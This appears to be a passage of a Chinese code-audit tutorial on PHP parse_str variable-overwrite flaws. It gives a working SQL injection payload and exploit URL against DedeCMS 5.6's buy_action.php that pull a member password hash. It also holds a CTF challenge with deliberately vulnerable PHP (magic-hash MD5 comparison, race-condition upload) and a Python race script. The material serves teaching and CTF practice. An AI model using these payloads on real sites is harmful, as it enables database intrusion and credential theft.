[红日安全]代码审计Day7 - parse_str函数缺陷

$key = substr(md5($_SERVER["HTTP_USER_AGENT"].$GLOBALS['cfg_cookie_encode']),8,18);

product=card&pid=1&a=1%26cfg_dbprefix=dede_member_operation WHERE 1=@'/!12345union/ select 1,2,3,4,5,6,7,8,9,10 FROM (SELECT COUNT(),CONCAT( (SELECT pwd FROM dede_member LIMIT 0,1),FLOOR(RAND(0)2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a %23

http://127.0.0.1//dedecms5.6/member/buy_action.php?pd_encode=QEpWVhZbEV9SUkBUEEBfAF8CFlkEA0VbAwVuV1BARFVQDRoOVF1dVzxVAA9TVkBvWUBTFgNHWVdXEjRwIDB0EwMNdhcZRVMBAwwMRw1RCgweE0FVWlVVEEICHAoVAU8MSVcdBR4HGggaXU4CABh/YCx1RUpidn51dWQWJy1mfmwRG097KixycmYYFhhlIS52c2wZQhRcRSRjfH8QUlVSAT1eVVVbVxEYKSt8emYQBhwHTU51fHd2YEtqJCx1GwIZBBkfHEJ1Ynd0Eip2Iy1jfnNkf394OzFweH10c017LSNjcnFkc2JpNydnYxh+YCxtNUJzahJIH1EWR0RmfWddWxBMDAxSR1tUCwEAUFEEBV4JVFEBUVYIHgIHAQRQXAQHCAsLAAIBSFYJBgUGUB0HVwEFCAgUA1UMVlUEVQJWBFIBUAQVc3ZjaCd5MSMAAwIABgYBU1IHDQkBB1IIVVMBBQcdBwUEXVsABwsKAU5QERZBFgFxEwJwQVB1AQELHFIOXUwDBwoeBwIPQVB1TAkMAFoBVlUCAAEWVFRFDANBVWdfWxFLEQtcVg8BAwMGVFMEBg8PBVUAQzJ5Y2F1ZWN/IF9XA1tdBFVeVAcIAlRVDlJVAFtRVV5YC1INAVsHBgpUBBZyAQZWZUtcQCp8WFAXd1dUU2VFARB6dGdmUQh1AVcMAABVAVJSVVcKAABdAlAAA0R1VlZVel9RDQxnWVVcD1INVlICAAICBwQQIAdXVXRWVQpWMQtcVm1vVVt7AFcOAl4IAlANBFUGVlMFBFIHUA&pd_verify=fbe183b4c5a69ac7fb394a4b5cd5cfcb

//index.php
<?php
$a = “hongri”;
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo '<a href="uploadsomething.php">flag is here</a>';
}
?>

//uploadsomething.php
<?php
header("Content-type:text/html;charset=utf-8");
$referer = $_SERVER['HTTP_REFERER'];
if(isset($referer)!== false) {
    $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";
    if (!is_dir($savepath)) {
        $oldmask = umask(0);
        mkdir($savepath, 0777);
        umask($oldmask);
    }
    if ((@$_GET['filename']) && (@$_GET['content'])) {
        //$fp = fopen("$savepath".$_GET['filename'], 'w');
        $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';
        file_put_contents("$savepath" . $_GET['filename'], $content);
        $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";
        usleep(100000);
        $content = "Too slow!";
        file_put_contents("$savepath" . $_GET['filename'], $content);
    }
   print <<<EOT
<form action="" method="get">
<div class="form-group">
<label for="exampleInputEmail1">Filename</label>
<input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename">
</div>
<div class="form-group">
<label for="exampleInputPassword1">Content</label>
<input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont">
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
EOT;
}
else{
    echo 'you can not see this page';
}
?>

<?php header("Content-type:text/html;charset=utf-8"); $referer = $_SERVER['HTTP_REFERER']; if(isset($referer)!== false) {     $savepath = "uploads/" . sha1($_SERVER['REMOTE_ADDR']) . "/";     if (!is_dir($savepath)) {         $oldmask = umask(0);         mkdir($savepath, 0777, true);         umask($oldmask);     }     if ((@$_GET['filename']) && (@$_GET['content'])) {         //$fp = fopen("$savepath".$_GET['filename'], 'w');         $content = 'HRCTF{y0u_n4ed_f4st}   by:l1nk3r';         file_put_contents("$savepath" . $_GET['filename'], $content);         $msg = 'Flag is here,come on~ ' . $savepath . htmlspecialchars($_GET['filename']) . "";         echo $msg;         usleep(100000);         $content = "Too slow!";         file_put_contents("$savepath" . $_GET['filename'], $content);     }    print <<<EOT <form action="" method="get"> <div class="form-group"> <label for="exampleInputEmail1">Filename</label> <input type="text" class="form-control" name="filename" id="exampleInputEmail1" placeholder="Filename"> </div> <div class="form-group"> <label for="exampleInputPassword1">Content</label> <input type="text" class="form-control" name="content" id="exampleInputPassword1" placeholder="Contont"> </div> <button type="submit" class="btn btn-default">Submit</button> </form> EOT; } else{     echo 'you can not see this page'; } ?>
再附一个自己写的垃圾脚本

import threading import requests  uplurl = 'http://localhost/ctf/uploadsomething.php?filename=flag&content=1' resurl = 'http://localhost/ctf/uploads/363baea9cba210afac6d7a556fca596e30c46333/flag'  class Access(threading.Thread):     def __init__(self, number, url):         threading.Thread.__init__(self)         self.number = number         self.url = url     def run(self):         if 'uploadsomething' in self.url:             for i in range(self.number):                 requests.get(self.url, headers={'Referer':'Anything'})         else:             for i in range(self.number):                 result = str(requests.get(self.url).content).replace('b', '')+'\n'                 print(result)  up = Access(3, uplurl) re = Access(3, resurl)  up.start() re.start()  up.join() re.join()